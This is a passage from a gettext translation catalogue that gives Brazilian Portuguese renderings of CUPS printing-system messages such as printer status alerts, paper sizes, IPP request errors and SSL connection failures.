msgid "Missing double quote on line %d."
msgstr "Faltando aspas duplas na linha %d."

msgid "Missing form variable"
msgstr "Faltando variável de formulário"

msgid "Missing last-document attribute in request."
msgstr "Faltando atributo last-document na requisição."

msgid "Missing media or media-col."
msgstr "Faltando media ou media-col."

msgid "Missing media-size in media-col."
msgstr "Faltando media-size em media-col."

msgid "Missing notify-subscription-ids attribute."
msgstr "Faltando atributo notify-subscription-ids."

msgid "Missing option keyword"
msgstr "Faltando palavra-chave de opção"

msgid "Missing requesting-user-name attribute."
msgstr "Faltando atributo requesting-user-name."

msgid "Missing required attributes."
msgstr "Faltando atributos necessários."

#, c-format
msgid "Missing value on line %d."
msgstr "Faltando valor na linha %d."

msgid "Missing value string"
msgstr "Faltando string de valor"

msgid "Missing x-dimension in media-size."
msgstr "Faltando dimensão-x em media-size."

msgid "Missing y-dimension in media-size."
msgstr "Faltando dimensão-y em media-size."

#, c-format
msgid ""
"Model:  name = %s\n"
"        natural_language = %s\n"
"        make-and-model = %s\n"
"        device-id = %s"
msgstr ""
"Modelo:  nome = %s\n"
"         idioma_natural = %s\n"
"         marca-e-modelo = %s\n"
"         id-dispositivo = %s"

msgid "Modifiers:"
msgstr "Modificadores:"

msgid "Modify Class"
msgstr "Modificar classe"

msgid "Modify Printer"
msgstr "Modificar impressora"

msgid "Move All Jobs"
msgstr "Mover todos trabalhos"

msgid "Move Job"
msgstr "Mover trabalho"

msgid "Moved Permanently"
msgstr "Mover permanentemente"

msgid "NULL PPD file pointer"
msgstr "Ponteiro NULO para arquivo PPD"

msgid "Name OID uses indefinite length"
msgstr "OID de nome usa comprimento indefinido"

msgid "Nested classes are not allowed."
msgstr "Classes aninhadas não são permitidas."

msgid "Never"
msgstr "Nunca"

msgid "New Stylus Color Series"
msgstr "Nova Stylus Color Séries"

msgid "New Stylus Photo Series"
msgstr "Nova Stylus Photos Séries"

msgid "No"
msgstr "Não"

msgid "No Content"
msgstr "Nenhum conteúdo"

msgid "No PPD name"
msgstr "Nenhum nome PPD"

msgid "No VarBind SEQUENCE"
msgstr "Nenhuma SEQUENCE de VarBind"

msgid "No Windows printer drivers are installed."
msgstr "Nenhum driver de impressora Windows está instalado."

msgid "No active connection"
msgstr "Nenhuma conexão ativa"

msgid "No active connection."
msgstr "Nenhuma conexão ativa."

#, c-format
msgid "No active jobs on %s."
msgstr "Nenhum trabalho ativo em %s"

msgid "No attributes in request."
msgstr "Nenhum atributo na requisição."

msgid "No authentication information provided."
msgstr "Nenhuma informação de autenticação foi fornecida."

msgid "No community name"
msgstr "Nenhum nome de comunidade"

msgid "No default printer."
msgstr "Nenhuma impressora padrão."

msgid "No destinations added."
msgstr "Nenhuma destinação foi adicionada."

msgid "No device URI found in argv[0] or in DEVICE_URI environment variable."
msgstr ""
"Nenhum URI de dispositivo encontrado em argv[0] ou na variável de ambiente "
"DEVICE_URI."

msgid "No error-index"
msgstr "Nenhum error-index"

msgid "No error-status"
msgstr "Nenhum error-status"

msgid "No file in print request."
msgstr "Nenhum arquivo na requisição de impressão."

msgid "No modification time"
msgstr "Nenhum horário de modificação"

msgid "No name OID"
msgstr "Nenhum OID de nome"

msgid "No pages were found."
msgstr "Nenhuma página foi encontrada."

msgid "No printer name"
msgstr "Nenhum nome de impressora"

msgid "No printer-uri found"
msgstr "Nenhum printer-uri foi encontrado"

msgid "No printer-uri found for class"
msgstr "Nenhum printer-uri foi encontrado para classe"

msgid "No printer-uri in request."
msgstr "Nenhum printer-uri na requisição."

msgid "No request sent."
msgstr "Nenhuma requisição enviada."

msgid "No request-id"
msgstr "Nenhum request-id"

msgid "No subscription attributes in request."
msgstr "Nenhum atributo de inscrição na requisição."

msgid "No subscriptions found."
msgstr "Nenhuma inscrição encontrada."

msgid "No variable-bindings SEQUENCE"
msgstr "Nenhum SEQUENCE em variable-bindings"

msgid "No version number"
msgstr "Nenhum número de versão"

msgid "Non-continuous (Mark sensing)"
msgstr "Não-contíguo (Mark sensing)"

msgid "Non-continuous (Web sensing)"
msgstr "Não-contíguo (Web sensing)"

msgid "Normal"
msgstr "Normal"

msgid "Not Found"
msgstr "Não encontrado"

msgid "Not Implemented"
msgstr "Não implementado"

msgid "Not Installed"
msgstr "Não instalado"

msgid "Not Modified"
msgstr "Não modificado"

msgid "Not Supported"
msgstr "Não suportado"

msgid "Not allowed to print."
msgstr "Sem permissão para imprimir."

msgid "Note"
msgstr "Nota"

msgid ""
"Note: this program only validates the DSC comments, not the PostScript "
"itself."
msgstr ""
"Nota: esse programa só valida os comentários DSC, e não o próprio PostScript."

msgid "OK"
msgstr "OK"

msgid "Off (1-Sided)"
msgstr "Off (1 lado)"

msgid "Oki"
msgstr "Oki"

msgid "Online Help"
msgstr "Ajuda online"

#, c-format
msgid "Open of %s failed: %s"
msgstr "Abertura de %s falhou: %s"

msgid "OpenGroup without a CloseGroup first"
msgstr "OpenGroup sem um CloseGroup primeiro"

msgid "OpenUI/JCLOpenUI without a CloseUI/JCLCloseUI first"
msgstr "OpenUI/JCLOpenUI sem um CloseUI/JCLCloseUI primeiro"

msgid "Operation Policy"
msgstr "Política de operação"

#, c-format
msgid "Option \"%s\" cannot be included via %%%%IncludeFeature."
msgstr "Opção \"%s\" não pode ser incluída via %%%%IncludeFeature."

msgid "Options Installed"
msgstr "Opções instaladas"

msgid "Options:"
msgstr "Opções:"

msgid "Out of date PPD cache file."
msgstr "Cache de arquivo PPD está desatualizado."

msgid "Out of memory."
msgstr "Memória insuficiente."

msgid "Output Mode"
msgstr "Mode de saída"

#, c-format
msgid "Output for printer %s is sent to %s"
msgstr "Saída da impressora %s é enviada para %s"

#, c-format
msgid "Output for printer %s is sent to remote printer %s on %s"
msgstr "Saída da impressora %s é enviada para a impressora remota %s em %s"

#, c-format
msgid "Output for printer %s/%s is sent to %s"
msgstr "Saída da impressora %s/%s é enviada para %s"

#, c-format
msgid "Output for printer %s/%s is sent to remote printer %s on %s"
msgstr "Saída da impressora %s/%s é enviada para impressora remota %s em %s"

msgid "PASS"
msgstr "PASSOU"

msgid "PCL Laser Printer"
msgstr "Impressora Laser PCL"

msgid "PRC16K"
msgstr "PRC16K"

msgid "PRC16K Long Edge"
msgstr "PRC16K borda maior"

msgid "PRC32K"
msgstr "PRC32K"

msgid "PRC32K Long Edge"
msgstr "PRC32K borda maior"

msgid "PRC32K Oversize"
msgstr "PRC32K grande"

msgid "PRC32K Oversize Long Edge"
msgstr "PRC32K borda muito maior"

msgid "Packet does not contain a Get-Response-PDU"
msgstr "Pacote não contém um Get-Response-PDU"

msgid "Packet does not start with SEQUENCE"
msgstr "Pacote não inicia com SEQUENCE"

msgid "ParamCustominCutInterval"
msgstr "ParamCustominCutInterval"

msgid "ParamCustominTearInterval"
msgstr "ParamCustominTearInterval"

#, c-format
msgid "Password for %s on %s? "
msgstr "Senha para %s em %s? "

#, c-format
msgid "Password for %s required to access %s via SAMBA: "
msgstr "Senha para %s é necessária para acessar %s via SAMBA: "

msgid "Pause Class"
msgstr "Pausar classe"

msgid "Pause Printer"
msgstr "Pausar impressora"

# peel-off seria descolar etiqueta do papel?
msgid "Peel-Off"
msgstr "Descolar"

msgid "Photo"
msgstr "Foto"

msgid "Photo Labels"
msgstr "Foto pequena"

msgid "Plain Paper"
msgstr "Papel normal"

msgid "Policies"
msgstr "Políticas"

msgid "Port Monitor"
msgstr "Monitor de porta"

msgid "PostScript Printer"
msgstr "Impressora PostScript"

msgid "Postcard"
msgstr "Postal"

msgid "Postcard Double "
msgstr "Postal duplo"

msgid "Postcard Double Long Edge"
msgstr "Postal duplo borda maior"

msgid "Postcard Long Edge"
msgstr "Postal borda maior"

msgid "Preparing to print."
msgstr "Preparando para imprimir."

msgid "Print Density"
msgstr "Densidade de impressão"

msgid "Print Job:"
msgstr "Trabalho de impressão:"

msgid "Print Mode"
msgstr "Modo de impressão"

msgid "Print Rate"
msgstr "Taxa de impressão"

msgid "Print Self-Test Page"
msgstr "Imprimir página de auto-teste"

msgid "Print Speed"
msgstr "Velocidade de impressão"

msgid "Print Test Page"
msgstr "Imprimir página de teste"

msgid "Print and Cut"
msgstr "Imprimir e cortar"

msgid "Print and Tear"
msgstr "Imprimir e rasgar"

msgid "Print file sent."
msgstr "Arquivo de impressão enviado."

msgid "Print job canceled at printer."
msgstr "Trabalho de impressão cancelado na impressora."

msgid "Print job too large."
msgstr "Trabalho de impressão muito grande."

msgid "Print job was not accepted."
msgstr "Trabalho de impressão não foi aceito."

msgid "Printer Added"
msgstr "Impressora adicionada"

msgid "Printer Default"
msgstr "Impressora padrão"

msgid "Printer Deleted"
msgstr "Impressora excluída"

msgid "Printer Modified"
msgstr "Impressora modificada"

msgid "Printer Paused"
msgstr "Impressora pausada"

msgid "Printer Settings"
msgstr "Configurações de impressora"

msgid "Printer cannot print supplied content."
msgstr "Impressora não consegue imprimir o conteúdo fornecido."

msgid "Printer cannot print with supplied options."
msgstr "Impressora não consegue imprimir os opções fornecidas."

msgid "Printer:"
msgstr "Impressora:"

msgid "Printers"
msgstr "Impressoras"

#, c-format
msgid "Printing page %d, %d%% complete."
msgstr "Imprimindo página %d, %d%% completo."

msgid "Purge Jobs"
msgstr "Apagar trabalhos"

msgid "Quarto"
msgstr "Quarto"

msgid "Quota limit reached."
msgstr "Limite de quota alcançado."

msgid "Rank    Owner   Job     File(s)                         Total Size"
msgstr "Ordem   Dono    Trab    Arquivo(s)                      Tamanho total"

#. TRANSLATORS: Pri is job priority.
msgid ""
"Rank   Owner      Pri  Job        Files                       Total Size"
msgstr ""
"Ordem   Dono      Pri  Trab       Arquivos                    Tamanho total"

msgid "Reject Jobs"
msgstr "Rejeitar trabalhos"

#, c-format
msgid "Remote host did not accept control file (%d)."
msgstr "Máquina remota não aceitou arquivo de controle (%d)."

#, c-format
msgid "Remote host did not accept data file (%d)."
msgstr "Máquina remota não aceitou arquivo de dados (%d)."

msgid "Reprint After Error"
msgstr "Erro após reimpressão"

msgid "Request Entity Too Large"
msgstr "Entidade de requisição muito grande"

msgid "Resolution"
msgstr "Resolução"

msgid "Resume Class"
msgstr "Resumir classe"

msgid "Resume Printer"
msgstr "Resumir impressora"

msgid "Return Address"
msgstr "Retornar endereço"

msgid "Rewind"
msgstr "Rebobinar"

#, c-format
msgid "Running command: %s %s -N -A %s -c '%s'"
msgstr "Executando comando: %s %s -N -A %s -c '%s'"

msgid "SEQUENCE uses indefinite length"
msgstr "SEQUENCE usa comprimento indefinido"

msgid "SSL/TLS Negotiation Error"
msgstr "Erro de negociação SSL/TLS"

msgid "See Other"
msgstr "Veja outro"

msgid "Sending data to printer."
msgstr "Enviando dados à impressora."

msgid "Server Restarted"
msgstr "Servidor reiniciado"

msgid "Server Security Auditing"
msgstr "Auditoria de segurança de servidor"

msgid "Server Started"
msgstr "Servidor iniciou"

msgid "Server Stopped"
msgstr "Servidor parou"

msgid "Service Unavailable"
msgstr "Serviço indisponível"

msgid "Set Allowed Users"
msgstr "Definir usuários permitidos"

msgid "Set As Server Default"
msgstr "Definir como servidor padrão"

msgid "Set Class Options"
msgstr "Definir opções de classe"

msgid "Set Printer Options"
msgstr "Definir opções de impressora"

msgid "Set Publishing"
msgstr "Definir publicação"

msgid "Shipping Address"
msgstr "Endereço de entrega"

msgid "Short-Edge (Landscape)"
msgstr "Borda menor (paisagem)"

msgid "Special Paper"
msgstr "Papel especial"

#, c-format
msgid "Spooling job, %.0f%% complete."
msgstr "Trabalho de impressão, %.0f%% completo."

msgid "Standard"
msgstr "Padrão"

#. TRANSLATORS: Banner/cover sheet before the print job.
msgid "Starting Banner"
msgstr "Iniciando banner"

#, c-format
msgid "Starting page %d."
msgstr "Iniciando página %d."

msgid "Statement"
msgstr "Declaração"

msgid "Stylus Color Series"
msgstr "Stylus Color Séries"

msgid "Stylus Photo Series"
msgstr "Stylus Photo Séries"

#, c-format
msgid "Subscription #%d does not exist."
msgstr "Inscrição #%d não existe."

msgid "Substitutions:"
msgstr "Substituições:"

msgid "Super A"
msgstr "Super A"

msgid "Super B"
msgstr "Super B"

msgid "Super B/A3"
msgstr "Super B/A3"

msgid "Switching Protocols"
msgstr "Alternando protocolos"

msgid "Tabloid"
msgstr "Tabloide"

msgid "Tabloid Oversize"
msgstr "Tabloide grande"

msgid "Tabloid Oversize Long Edge"
msgstr "Tabloide borda muito maior"

msgid "Tear"
msgstr "Destacar"

msgid "Tear-Off"
msgstr "Destacar"

msgid "Tear-Off Adjust Position"
msgstr "Ajuste da posição de destaque"

#, c-format
msgid "The \"%s\" attribute is required for print jobs."
msgstr "O atributo \"%s\" é necessário para imprimir os trabalhos."

#, c-format
msgid "The %s attribute cannot be provided with job-ids."
msgstr "O atributo %s não pode ser fornecido com job-ids."

#, c-format
msgid ""
"The '%s' Job Description attribute cannot be supplied in a job creation "
"request."
msgstr ""
"O atributo Job Description \"%s\" não pode ser fornecido em uma requisição "
"de criação de trabalho."

#, c-format
msgid ""
"The '%s' operation attribute cannot be supplied in a Create-Job request."
msgstr ""
"O atributo de operação '%s' não pode ser fornecido em uma requisição de "
"criação de trabalho."

#, c-format
msgid "The PPD file \"%s\" could not be found."
msgstr "O arquivo PPD \"%s\" não pôde ser encontrado."

#, c-format
msgid "The PPD file \"%s\" could not be opened: %s"
msgstr "O arquivo PPD \"%s\" não pôde ser aberto: %s"

msgid "The PPD file could not be opened."
msgstr "O arquivo PPD não pôde ser aberto."

msgid ""
"The class name may only contain up to 127 printable characters and may not "
"contain spaces, slashes (/), or the pound sign (#)."
msgstr ""
"O nome da classe pode conter somente até 127 caracteres imprimíveis e não "
"pode conter espaços, barras (/), ou sinal de tralha (#)."

msgid "The developer unit needs to be replaced."
msgstr "A unidade de desenvolvedor precisa ser substituído."

msgid "The developer unit will need to be replaced soon."
msgstr "A unidade de desenvolvedor precisará ser substituído em breve."

msgid "The fuser's temperature is high."
msgstr "A temperatura do fusor está alta."

msgid "The fuser's temperature is low."
msgstr "A temperatura do fusor está baixa."

msgid ""
"The notify-lease-duration attribute cannot be used with job subscriptions."
msgstr ""
"O atributo notify-lease-duration não pode ser usado para inscrições de "
"trabalhos."

#, c-format
msgid "The notify-user-data value is too large (%d > 63 octets)."
msgstr "O valor de notify-user-data está muito grande (%d > 63 octetos)."

msgid "The optical photoconductor needs to be replaced."
msgstr "O fotocondutor óptico precisa ser substituído."

msgid "The optical photoconductor will need to be replaced soon."
msgstr "O fotocondutor óptico precisará ser substituído em breve."

msgid "The output bin is almost full."
msgstr "O tabuleiro de saída está quase completo."

msgid "The output bin is full."
msgstr "O tabuleiro de saída está completo."

msgid "The output bin is missing."
msgstr "O tabuleiro de saída não foi encontrado."

msgid "The paper tray is almost empty."
msgstr "O bandeja de papel está quase vazia."

msgid "The paper tray is empty."
msgstr "O bandeja de papel está vazia."

msgid "The paper tray is missing."
msgstr "O bandeja de papel não foi encontrada."

msgid "The paper tray needs to be filled."
msgstr "O bandeja de papel precisa ser recarregada."

msgid "The printer configuration is incorrect or the printer no longer exists."
msgstr ""
"A configuração da impressora está incorreta ou a impressora não existe mais."

msgid "The printer did not respond."
msgstr "A impressora não respondeu."

msgid "The printer is in use."
msgstr "A impressora está em uso."

msgid "The printer is not connected."
msgstr "A impressora não está conectada."

msgid "The printer is not responding."
msgstr "A impressora não está respondendo."

msgid "The printer is now connected."
msgstr "A impressora está agora conectada."

msgid "The printer is now online."
msgstr "A impressora está agora online."

msgid "The printer is offline."
msgstr "A impressora está offline."

msgid "The printer is running low on ink."
msgstr "A impressora está ficando sem tinta."

msgid "The printer is running low on toner."
msgstr "A impressora está ficando sem toner."

msgid "The printer is unreachable at this time."
msgstr "A impressora está inacessível neste momento."

msgid "The printer may be out of ink."
msgstr "A impressora pode estar sem tinta."

msgid "The printer may be out of toner."
msgstr "A impressora pode estar sem toner."

msgid "The printer may not exist or is unavailable at this time."
msgstr "A impressora pode não existir ou está indisponível neste momento."

msgid ""
"The printer name may only contain up to 127 printable characters and may not "
"contain spaces, slashes (/), or the pound sign (#)."
msgstr ""
"O nome da impressora pode conter somente até 127 caracteres imprimíveis e "
"não pode conter espaços, barras (/), ou sinal de tralha (#)."

msgid "The printer or class does not exist."
msgstr "A impressora ou classe não existe."

msgid "The printer or class is not shared."
msgstr "A impressora ou classe não está compartilhada."

msgid "The printer's cover is open."
msgstr "A tampa superior da impressora está aberta."

msgid "The printer's door is open."
msgstr "A tampa da impressora está aberta."

msgid "The printer's interlock is open."
msgstr "A interlock da impressora está aberta."

msgid "The printer's waste bin is almost full."
msgstr "A lixeira da impressora está quase completa."

msgid "The printer's waste bin is full."
msgstr "A lixeira da impressora está completa."

#, c-format
msgid "The printer-uri \"%s\" contains invalid characters."
msgstr "O printer-uri \"%s\" contém caracteres inválidos."

msgid "The printer-uri attribute is required."
msgstr "O atributo printer-uri é necessário."

msgid ""
"The printer-uri must be of the form \"ipp://HOSTNAME/classes/CLASSNAME\"."
msgstr ""
"O printer-uri deve estar no formato \"ipp://MAQUINA/classes/NOMECLASSE\"."

msgid ""
"The printer-uri must be of the form \"ipp://HOSTNAME/printers/PRINTERNAME\"."
msgstr ""
"O printer-uri deve estar no formato \"ipp://MAQUINA/printers/NOMEIMPRESSORA"
"\"."

msgid ""
"The subscription name may not contain spaces, slashes (/), question marks "
"(?), or the pound sign (#)."
msgstr ""
"O nome da inscrição não pode conter espaços, barras (/), sinais de "
"interrogação (?), ou sinal de tralha (#)."

msgid ""
"The web interface is currently disabled. Run \"cupsctl WebInterface=yes\" to "
"enable it."
msgstr ""
"A interface web está desabilitada no momento. Execute \"cupsctl "
"WebInterface=yes\" para habilitá-la."

#, c-format
msgid "The which-jobs value \"%s\" is not supported."
msgstr "O valor de which-jobs \"%s\" não é suportado."

msgid "There are too many subscriptions."
msgstr "Há inscrições demais."

msgid "There is a paper jam."
msgstr "Ocorreu um atolamento de papel."

msgid "There was an unrecoverable USB error."
msgstr "Ocorreu um erro de USB irrecuperável."

msgid "Thermal Transfer Media"
msgstr "Mídia de transferência térmica"

msgid "Too many active jobs."
msgstr "Há trabalhos demais ativos."

#, c-format
msgid "Too many job-sheets values (%d > 2)."
msgstr "Há valores de job-sheets demais (%d > 2)."

#, c-format
msgid "Too many printer-state-reasons values (%d > %d)."
msgstr "Há valores de printer-state-reasons demais (%d >%d)."

msgid "Transparency"
msgstr "Transparência"

msgid "Tray"
msgstr "Bandeja"

msgid "Tray 1"
msgstr "Bandeja 1"

msgid "Tray 2"
msgstr "Bandeja 2"

msgid "Tray 3"
msgstr "Bandeja 3"

msgid "Tray 4"
msgstr "Bandeja 4"

msgid "URI Too Long"
msgstr "URI muito longa"

msgid "US Ledger"
msgstr "US Ledger"

msgid "US Legal"
msgstr "US Legal"

msgid "US Legal Oversize"
msgstr "US Legal grande"

msgid "US Letter"
msgstr "US Letter"

msgid "US Letter Long Edge"
msgstr "US Letter borda maior"

msgid "US Letter Oversize"
msgstr "US Letter grande"

msgid "US Letter Oversize Long Edge"
msgstr "US Letter borda muito maior"

msgid "US Letter Small"
msgstr "US Letter pequena"

msgid "Unable to access cupsd.conf file"
msgstr "Não foi possível acessar o arquivo cupsd.conf"

msgid "Unable to access help file."
msgstr "Não foi possível acessar o arquivo de ajuda."

msgid "Unable to add RSS subscription"
msgstr "Não foi possível adicionar inscrição RSS"

msgid "Unable to add class"
msgstr "Não foi possível adicionar classe"

msgid "Unable to add document to print job."
msgstr "Não foi possível adicionar o documento ao trabalho de impressão."

#, c-format
msgid "Unable to add job for destination \"%s\"."
msgstr "Não foi possível adicionar trabalho para destino \"%s\"."

msgid "Unable to add printer"
msgstr "Não foi possível adicionar impressora"

msgid "Unable to allocate memory for file types."
msgstr "Não foi possível alocar memória para os tipos de arquivos."

msgid "Unable to allocate memory for page info"
msgstr "Não foi possível alocar memória para informação de página"

msgid "Unable to allocate memory for pages array"
msgstr "Não foi possível alocar memória para vetor de páginas"

msgid "Unable to cancel RSS subscription"
msgstr "Não foi possível cancelar inscrição RSS"

msgid "Unable to cancel print job."
msgstr "Não foi possível cancelar trabalho de impressão."

msgid "Unable to change printer"
msgstr "Não foi possível alterar a impressora"

msgid "Unable to change printer-is-shared attribute"
msgstr "Não foi possível alterar o atributo printer-is-shared"

msgid "Unable to change server settings"
msgstr "Não foi possível alterar as configurações do servidor"

#, c-format
msgid "Unable to compile mimeMediaType regular expression: %s."
msgstr "Não foi possível compilar a expressão regular de mimeMediaType: %s."

#, c-format
msgid "Unable to compile naturalLanguage regular expression: %s."
msgstr "Não foi possível compilar a expressão regular de naturalLanguage: %s."

msgid "Unable to configure printer options."
msgstr "Não foi possível configurar opções de impressora."

msgid "Unable to connect to host."
msgstr "Não foi possível conectar à máquina."

msgid "Unable to contact printer, queuing on next printer in class."
msgstr ""
"Não foi possível contactar a impressora, enfileirando na próxima impressora "
"na classe."

#, c-format
msgid "Unable to copy 64-bit CUPS printer driver files (%d)."
msgstr ""
"Não foi possível copiar arquivos de driver de impressora CUPS 64-bit (%d)."

#, c-format
msgid "Unable to copy 64-bit Windows printer driver files (%d)."
msgstr ""
"Não foi possível copiar arquivos de driver de impressora (%d) de Windows 64-"
"bit."

#, c-format
msgid "Unable to copy CUPS printer driver files (%d)."
msgstr "Não foi possível copiar arquivos de driver de impressora (%d) de CUPS."

#, c-format
msgid "Unable to copy PPD file - %s"
msgstr "Não foi possível copiar arquivo PPD - %s"

msgid "Unable to copy PPD file."
msgstr "Não foi possível copiar arquivo PPD."

#, c-format
msgid "Unable to copy Windows 2000 printer driver files (%d)."
msgstr ""
"Não foi possível copiar arquivos de driver de impressora (%d) de Windows "
"2000."

#, c-format
msgid "Unable to copy Windows 9x printer driver files (%d)."
msgstr ""
"Não foi possível copiar arquivos de driver de impressora (%d) de Windows 9x."

#, c-format
msgid "Unable to copy interface script - %s"
msgstr "Não foi possível copiar script de interface - %s"

msgid "Unable to create printer-uri"
msgstr "Não foi possível criar uri de impressora"

msgid "Unable to create temporary file"
msgstr "Não foi possível criar arquivo temporário"

msgid "Unable to delete class"
msgstr "Não foi possível excluir classe"

msgid "Unable to delete printer"
msgstr "Não foi possível excluir impressora"

msgid "Unable to do maintenance command"
msgstr "Não foi possível executar comando de manutenção"

msgid "Unable to edit cupsd.conf files larger than 1MB"
msgstr "Não foi possível editar arquivos de cupsd.conf maiores que 1MB"

msgid ""
"Unable to establish a secure connection to host (certificate chain invalid)."
msgstr ""
"Não foi possível estabelecer uma conexão segura com a máquina (cadeia de "
"certificação inválida)."

msgid ""
"Unable to establish a secure connection to host (certificate not yet valid)."
msgstr ""
"Não foi possível estabelecer uma conexão segura com a máquina (certificado "
"inválido no momento)."

msgid "Unable to establish a secure connection to host (expired certificate)."
msgstr ""
"Não foi possível estabelecer uma conexão segura com a máquina (certificado "
"expirou)."

msgid "Unable to establish a secure connection to host (host name mismatch)."
msgstr ""
"Não foi possível estabelecer uma conexão segura com a máquina (nome da "
"máquina incorreto)."

msgid ""
"Unable to establish a secure connection to host (peer dropped connection "
"before responding)."
msgstr ""
"Não foi possível estabelecer uma conexão segura com a máquina (terminou a "
"conexão sem a resposta)."

msgid ""
"Unable to establish a secure connection to host (self-signed certificate)."
msgstr ""
"Não foi possível estabelecer uma conexão segura com a máquina (certificado "
"auto-assinado)."

msgid ""
"Unable to establish a secure connection to host (untrusted certificate)."
msgstr ""
"Não foi possível estabelecer uma conexão segura com a máquina (certificado "
"não confiado)."

msgid "Unable to establish a secure connection to host."
msgstr "Não foi possível estabelecer uma conexão segura com a máquina."

msgid "Unable to find destination for job"
msgstr "Não foi possível encontrar o destino do trabalho"

msgid "Unable to find printer."
msgstr "Não foi possível encontrar a impressora."

msgid "Unable to get backend exit status."
msgstr "Não foi possível obter o estado de saída do backend."

msgid "Unable to get class list"
msgstr "Não foi possível obter lista de classes"

msgid "Unable to get class status"
msgstr "Não foi possível obter o estado da classe"

msgid "Unable to get list of printer drivers"
msgstr "Não foi possível obter lista de drivers de impressoras"

msgid "Unable to get printer attributes"
msgstr "Não foi possível obter atributos de impressora"

msgid "Unable to get printer list"
msgstr "Não foi possível obter lista de impressora"

msgid "Unable to get printer status"
msgstr "Não foi possível obter status de impressora"

msgid "Unable to get printer status."
msgstr "Não foi possível obter o estado de impressora."

#, c-format
msgid "Unable to install Windows 2000 printer driver files (%d)."
msgstr ""
"Não foi possível instalar arquivos de driver de impressora Windows 2000 (%d)."

#, c-format
msgid "Unable to install Windows 9x printer driver files (%d)."
msgstr ""
"Não foi possível instalar arquivos de driver de impressora Windows 9x (%d)."

msgid "Unable to load help index."
msgstr "Não foi possível carregar índice de ajuda."

#, c-format
msgid "Unable to locate printer \"%s\"."
msgstr "Não foi possível localizar a impressora \"%s\"."

msgid "Unable to locate printer."
msgstr "Não foi possível localizar a impressora."

msgid "Unable to modify class"
msgstr "Não foi possível modificar classe"

msgid "Unable to modify printer"
msgstr "Não foi possível modificar impressora"

msgid "Unable to move job"
msgstr "Não foi possível mover trabalho"

msgid "Unable to move jobs"
msgstr "Não foi possível mover trabalhos"

msgid "Unable to open PPD file"
msgstr "Não foi possível abrir arquivo PPD"

msgid "Unable to open cupsd.conf file:"
msgstr "Não foi possível abrir arquivo cupsd.conf:"

msgid "Unable to open device file"
msgstr "Não foi possível abrir arquivo dispositivo"

#, c-format
msgid "Unable to open document #%d in job #%d."
msgstr "Não foi possível abrir documento #%d no trabalho #%d."

msgid "Unable to open help file."
msgstr "Não foi possível abrir arquivo de ajuda."

msgid "Unable to open print file"
msgstr "Não foi possível abrir arquivo de impressão"

msgid "Unable to open raster file"
msgstr "Não foi possível arquivo de rasterização"

msgid "Unable to print test page"
msgstr "Não foi possível imprimir página teste"

msgid "Unable to read print data."
msgstr "Não foi possível ler dados de impressão."

msgid "Unable to resolve printer URI."
msgstr "Não foi possível resolver URI da impressora."

#, c-format
msgid "Unable to run \"%s\": %s"
msgstr "Não foi possível executar \"%s\": %s"

msgid "Unable to see in file"
msgstr "Não foi possível ler o arquivo"

msgid "Unable to send command to printer driver"
msgstr "Não foi possível enviar comando ao driver da impressora"

msgid "Unable to send data to printer."
msgstr "Não foi possível enviar dados à impressora."

#, c-format
msgid "Unable to set Windows printer driver (%d)."
msgstr "Não foi possível definir driver de impressora Windows (%d)."

msgid "Unable to set options"
msgstr "Não foi possível definir opções"

msgid "Unable to set server default"
msgstr "Não foi possível definir servidor padrão"

msgid "Unable to start backend process."
msgstr "Não foi possível iniciar processo de backend."

msgid "Unable to upload cupsd.conf file"
msgstr "Não foi possível atualizar o arquivo cupsd.conf"

msgid "Unable to use legacy USB class driver."
msgstr "Não foi possível usar driver de classe USB legado."

msgid "Unable to write print data"
msgstr "Não foi possível escrever dados de impressão"

#, c-format
msgid "Unable to write uncompressed print data: %s"
msgstr "Não foi possível escrever dados descompactados de impressão: %s"

msgid "Unauthorized"
msgstr "Não autorizado"

msgid "Units"
msgstr "Unidades"

msgid "Unknown"
msgstr "Desconhecido"

#, c-format
msgid "Unknown choice \"%s\" for option \"%s\"."
msgstr "Escolha desconhecida \"%s\" para opção \"%s\"."

#, c-format
msgid "Unknown encryption option value: \"%s\"."
msgstr "Valor da opção de criptografia desconhecido: \"%s\"."

#, c-format
msgid "Unknown file order: \"%s\"."
msgstr "Ordem de arquivo desconhecida: \"%s\"."

#, c-format
msgid "Unknown format character: \"%c\"."
msgstr "Caractere de formato desconhecido: \"%c\"."

msgid "Unknown media size name."
msgstr "Nome de tamanho de mídia desconhecido."

#, c-format
msgid "Unknown option \"%s\" with value \"%s\"."
msgstr "Opção \"%s\" desconhecida com valor \"%s\"."

#, c-format
msgid "Unknown option \"%s\"."
msgstr "Opção \"%s\" desconhecida."

#, c-format
msgid "Unknown print mode: \"%s\"."
msgstr "Modo de impressão desconhecido: \"%s\"."

#, c-format
msgid "Unknown printer-error-policy \"%s\"."
msgstr "printer-error-policy \"%s\" desconhecido."

#, c-format
msgid "Unknown printer-op-policy \"%s\"."
msgstr "printer-op-policy \"%s\" desconhecido."

msgid "Unknown service name."
msgstr "Nome de serviço desconhecido."

#, c-format
msgid "Unknown version option value: \"%s\"."
msgstr "Valor de opção de versão desconhecido: \"%s\"."

#, c-format
msgid "Unsupported 'compression' value \"%s\"."
msgstr "Valor de \"compression\" sem suporte \"%s\"."

#, c-format
msgid "Unsupported 'document-format' value \"%s\"."
msgstr "Valor de \"document-format\" sem suporte \"%s\"."

msgid "Unsupported 'job-name' value."
msgstr "Valor de \"job-name\" sem suporte."

#, c-format
msgid "Unsupported character set \"%s\"."
msgstr "Conjunto de caracteres \"%s\" sem suporte."

#, c-format
msgid "Unsupported compression \"%s\"."
msgstr "Compressão \"%s\" sem suporte."

#, c-format
msgid "Unsupported document-format \"%s\"."
msgstr "document-format \"%s\" sem suporte."

#, c-format
msgid "Unsupported document-format \"%s/%s\"."
msgstr "document-format \"%s/%s\" sem suporte."

#, c-format
msgid "Unsupported format \"%s\"."
msgstr "Formato \"%s\" sem suporte."

msgid "Unsupported margins."
msgstr "Margens sem suporte."

msgid "Unsupported media value."
msgstr "Valor de mídia sem suporte."

#, c-format
msgid "Unsupported number-up value %d, using number-up=1."
msgstr "Valor de number-up %d sem suporte; usando number-up=1."

#, c-format
msgid "Unsupported number-up-layout value %s, using number-up-layout=lrtb."
msgstr ""
"Valor de number-up-layout %s sem suporte; usando number-up-layout=lrtb."

#, c-format
msgid "Unsupported page-border value %s, using page-border=none."
msgstr "Valor de page-border %s sem suporte; usando page-border=none."

msgid "Unsupported raster data."
msgstr "Dados de rasterização sem suporte."

msgid "Unsupported value type"
msgstr "Tipo de valor sem suporte"

msgid "Upgrade Required"
msgstr "Atualização necessária"

msgid ""
"Usage:\n"
"\n"
"    lpadmin [-h server] -d destination\n"
"    lpadmin [-h server] -x destination\n"
